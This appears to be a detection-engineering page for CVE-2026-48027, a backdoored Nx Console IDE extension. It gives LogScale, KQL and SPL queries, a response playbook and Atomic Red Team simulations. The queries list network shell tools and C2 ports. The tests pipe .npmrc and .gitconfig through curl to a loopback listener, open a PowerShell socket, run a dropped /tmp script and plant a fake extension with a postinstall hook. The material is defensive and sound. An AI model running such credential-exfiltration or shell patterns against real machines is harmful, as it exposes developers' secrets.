Detect Nx Console Embedded Malicious Code Execution (CVE-2026-48027) in CrowdStrike LogScale
CVE-2026-48027 describes an embedded malicious code vulnerability (CWE-506) in Nx Console, a popular VS Code and JetBrains IDE extension for managing Nx monorepos. A compromised or trojanized version of Nx Console contains backdoored code that executes at extension load time within the developer IDE process, enabling attacker-controlled behavior including credential harvesting, reverse shells, or supply chain lateral movement into CI/CD pipelines. This vulnerability is listed in CISA KEV, indicating active exploitation in the wild. Detection focuses on anomalous process spawning from IDE extension host processes, unexpected network connections originating from VS Code or JetBrains runtimes, and suspicious file writes consistent with embedded malicious payloads.
MITRE ATT&CK
LogScale Detection Query
event_simpleName=ProcessRollup2
| ParentBaseFileName IN ("code", "code-insiders", "webstorm64.exe", "idea64.exe", "rider64.exe", "node")
| FileName IN ("powershell.exe", "pwsh.exe", "cmd.exe", "bash", "sh", "python", "python3", "curl", "wget", "certutil.exe", "mshta.exe", "wscript.exe", "cscript.exe", "nc", "ncat", "socat")
OR CommandLine = /(?i)(nx-console|@nrwl\/nx-console|nxls|nx-language-server)/
| eval RiskTier=case(
FileName IN ("powershell.exe", "pwsh.exe", "mshta.exe", "certutil.exe"), "CRITICAL",
FileName IN ("curl", "wget", "nc", "ncat", "socat"), "HIGH",
true(), "MEDIUM")
| table _time, ComputerName, UserName, ParentBaseFileName, ParentCommandLine, FileName, CommandLine, RiskTier
| sort -RiskTier, -_timeCrowdStrike Falcon query detecting IDE parent processes spawning suspicious child processes indicative of the Nx Console embedded malicious code vulnerability (CVE-2026-48027). Includes risk tiering by child process type.
Data Sources
Required Tables
False Positives & Tuning
- VS Code integrated terminal sessions opened by developers for general shell access
- Node.js Nx CLI child processes spawned during legitimate monorepo task execution
- Automated workspace analysis scripts triggered by Nx Console on project open
- Security tooling (EDR agents, DLP) injecting into IDE processes and spawning helper utilities
Other platforms for CVE-2026-48027
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Nx Console Extension Host Spawning Reverse Shell (Windows)
Expected signal: DeviceProcessEvents: powershell.exe spawned with parent chain including node.exe or code.exe; DeviceNetworkEvents: TCP connect attempt to 127.0.0.1:9999
- Test 2Simulate Nx Console Extension Credential File Exfiltration (Linux/macOS)
Expected signal: Process creation event: bash spawned with cat and curl in command line; Network event: HTTP POST to 127.0.0.1:8181 from bash process; File access events on .npmrc and .gitconfig
- Test 3Drop and Execute Malicious Script from Temp Directory (macOS)
Expected signal: Process events: node.exe spawning sh executing a script from /tmp; File creation events for /tmp/nx_test_payload.sh and /tmp/nx_beacon.txt with initiating process node
- Test 4Nx Console VSIX Backdoor Package Installation Simulation
Expected signal: File system events showing creation of extension directory and package.json under .vscode/extensions; if extension activated, bash process spawned from VS Code extension host
Response Playbook
Triage
- Identify the exact version of Nx Console installed: on Windows check %USERPROFILE%\.vscode\extensions\; on Linux/macOS check ~/.vscode/extensions/ for nrwl.angular-console-* or nxs.nx-console-* directories and capture the package.json version field.
- Determine whether the extension was installed from the VS Code Marketplace, a private VSIX file, or a package manager — examine VS Code extension installation logs at Help > Toggle Developer Tools > Console for extension host load events.
- Cross-reference the installed extension's package integrity against the known-good manifest from the official GitHub advisory (GHSA-c9j4-9m59-847w): compute SHA-256 of the installed extension bundle and compare to the advisory-published hashes.
- Review process tree for the affected developer workstation: identify any child processes spawned by Code.exe or its extension host (extensionHost.js) in the past 72 hours using EDR telemetry, focusing on outbound network connections and file writes to temp directories.
- Assess developer access scope: determine what secrets, tokens, or SSH keys reside on the affected machine (SSH agent keys, .npmrc tokens, cloud provider credentials, CI/CD API keys) as these are primary targets for embedded malicious code in developer tooling.
Containment
- Immediately disable or uninstall the affected Nx Console extension across all developer workstations via MDM/endpoint management policy or by pushing a VS Code settings.json extension blocklist entry; revoke any developer tokens or API keys accessible from the affected machines pending investigation.
- Isolate the affected developer workstation(s) from CI/CD pipeline access and internal network segments if active exploitation indicators (outbound C2 connections, unauthorized file drops) are confirmed, and rotate all secrets stored in the developer's local credential stores including npm tokens, Git credentials, cloud provider keys, and SSH private keys.
Evidence Collection
- Capture a forensic memory image and disk snapshot of affected developer workstations before remediation; preserve the installed Nx Console extension directory verbatim including all JavaScript bundles, package.json, and any supplemental files the extension may have written to disk.
- Export IDE extension host logs, VS Code crash reporter data, and all process execution events (EDR telemetry) covering the window from initial extension installation through detection time; also collect network flow records for all outbound connections originating from Code.exe or the extension host process.
Escalation Criteria
- !Escalate to incident response if lateral movement indicators are found: CI/CD pipeline credentials used from an unexpected IP, unauthorized commits or pipeline modifications in source repositories, or evidence of the developer's SSH keys being used from a foreign host.
- !Escalate to supply chain security team and legal/compliance if the malicious extension was distributed via the official VS Code Marketplace or an internal extension registry, as this constitutes a supply chain compromise potentially affecting multiple teams and may trigger breach notification obligations.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
VS Code extension directory: ~/.vscode/extensions/nrwl.angular-console-*/ or equivalent — examine all .js bundle files for obfuscated code, eval() calls, or hardcoded C2 URLs - >
Extension host process memory: dump and analyze for injected payloads, unusual heap allocations, or decrypted shellcode regions - >
Developer credential stores: ~/.npmrc, ~/.gitconfig, ~/.ssh/known_hosts and id_* key files, ~/.aws/credentials, ~/.kube/config — check modification timestamps against extension install date - >
Network connection records: all TCP/UDP connections from Code.exe or extensionHost processes — look for connections to non-CDN IPs on ports 443, 80, 4444, 8080, 1337 - >
File system timeline: using MFT/inode analysis, identify any files created or modified by the VS Code extension host process after Nx Console installation
Tuning Guidance
Initial deployment will generate noise from legitimate Nx CLI workflows and VS Code integrated terminal usage. Tune by building an allowlist of known-good Nx Console command patterns (e.g., 'nxls --stdio', 'nx graph', 'nx run') and excluding these from the parent-child process correlation. Raise confidence to HIGH after baselining 7 days of normal developer IDE telemetry per host. For the network-based hunting queries, suppress known Nx Cloud API endpoints (cloud.nx.app, nx.dev CDN ranges) from RemoteIP matches. Consider enriching detections with the extension version field from DeviceProcessEvents CommandLine to rapidly pivot during an incident response to all hosts running a specific compromised version.
Hunting Queries
Hunt for outbound network connections from IDE and Node.js processes to non-private IPs on ports commonly associated with reverse shells and C2 frameworks — indicative of post-exploitation activity following Nx Console backdoor execution.
DeviceNetworkEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName has_any ("code", "extensionHost", "node")
and RemoteIPType != "Private"
and RemotePort in (4444, 1337, 8080, 9001, 31337)
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by TimeGenerated descindex=network sourcetype IN ("firewall", "zeek_conn", "palo_alto_traffic")
| eval src_proc=lower(coalesce(src_process, app))
| where match(src_proc, "code|extensionHost|node")
AND dest_port IN (4444, 1337, 8080, 9001, 31337)
AND NOT match(dest_ip, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)")
| table _time, src_ip, src_proc, dest_ip, dest_port, bytes_outHunt for executable or script files written to temporary directories by IDE or Node.js processes — a common indicator of payload staging following embedded malicious code execution in developer tools.
DeviceFileEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFileName has_any ("code", "extensionHost", "node")
and (FolderPath has_any ("/tmp/", "\\Temp\\", "\\AppData\\Local\\Temp\\", "/var/tmp/")
and FileExtension in ("sh", "ps1", "py", "exe", "elf", "bat"))
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, FolderPath, FileName, FileExtension, SHA256
| order by TimeGenerated descindex=endpoint sourcetype IN ("xmlwineventlog", "carbon_black:edr")
| where EventCode=4663 OR event_type="filemod"
| eval path_lower=lower(file_path)
| where match(lower(process_name), "code|extensionhost|node")
AND match(path_lower, "(\/tmp\/|\\\\temp\\\\|appdata\\\\local\\\\temp|\/var\/tmp\/)")
AND match(path_lower, "\.(sh|ps1|py|exe|elf|bat)$")
| table _time, host, user, process_name, file_path, file_hashAtomic Red Team Tests
Simulates the process tree that would result from a backdoored Nx Console extension executing a PowerShell reverse shell payload. Uses a loopback listener so no actual C2 connectivity is required.
Command
Start-Process powershell.exe -ArgumentList '-NoProfile -NonInteractive -Command "$c = New-Object System.Net.Sockets.TCPClient(\"127.0.0.1\",9999); Write-Host \"[atomic-test] reverse shell simulation\""' -WaitCleanup
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinueExpected Telemetry
DeviceProcessEvents: powershell.exe spawned with parent chain including node.exe or code.exe; DeviceNetworkEvents: TCP connect attempt to 127.0.0.1:9999
Expected Detection
KQL and SPL rules trigger on powershell.exe spawned from IDE parent process; EDR alerts on suspicious process lineage
Simulates an embedded malicious code payload reading developer credential files and staging them for exfiltration via curl to a loopback listener.
Command
bash -c 'cat ~/.npmrc ~/.gitconfig 2>/dev/null | curl -s -X POST http://127.0.0.1:8181 -d @- --max-time 5 || true'Cleanup
echo '[atomic-test-cleanup] no persistent artifacts'Expected Telemetry
Process creation event: bash spawned with cat and curl in command line; Network event: HTTP POST to 127.0.0.1:8181 from bash process; File access events on .npmrc and .gitconfig
Expected Detection
EQL sequence rule matches bash spawn from IDE parent followed by network event; Sumo Logic and Splunk queries flag curl child of IDE process
Simulates an embedded malicious code payload writing a shell script to /tmp and executing it — a common staging technique used by backdoored IDE extensions.
Command
node -e "const fs=require('fs'); const cp=require('child_process'); fs.writeFileSync('/tmp/nx_test_payload.sh','#!/bin/bash\necho nx-console-atomic-test > /tmp/nx_beacon.txt\n'); cp.execSync('chmod +x /tmp/nx_test_payload.sh && /tmp/nx_test_payload.sh');"Cleanup
rm -f /tmp/nx_test_payload.sh /tmp/nx_beacon.txtExpected Telemetry
Process events: node.exe spawning sh executing a script from /tmp; File creation events for /tmp/nx_test_payload.sh and /tmp/nx_beacon.txt with initiating process node
Expected Detection
EQL sequence rule matches file drop to /tmp with .sh extension by IDE-related node process; Chronicle YARA-L and CrowdStrike CQL rules trigger on node spawning shell from temp path
Simulates the installation of a backdoored VSIX package (as would occur in a supply chain attack) by extracting a crafted test VSIX to the VS Code extensions directory and verifying extension host process behavior on next IDE launch.
Command
mkdir -p ~/.vscode/extensions/nrwl.nx-console-test-9.9.9 && echo '{"name":"nx-console","version":"9.9.9","publisher":"nrwl","scripts":{"postinstall":"bash -c \"echo atomic-test-marker > /tmp/nx_install_beacon.txt\""}}' > ~/.vscode/extensions/nrwl.nx-console-test-9.9.9/package.jsonCleanup
rm -rf ~/.vscode/extensions/nrwl.nx-console-test-9.9.9 /tmp/nx_install_beacon.txtExpected Telemetry
File system events showing creation of extension directory and package.json under .vscode/extensions; if extension activated, bash process spawned from VS Code extension host
Expected Detection
File integrity monitoring alerts on new extension directory creation; EDR detects bash spawned from VS Code extension host on subsequent IDE launch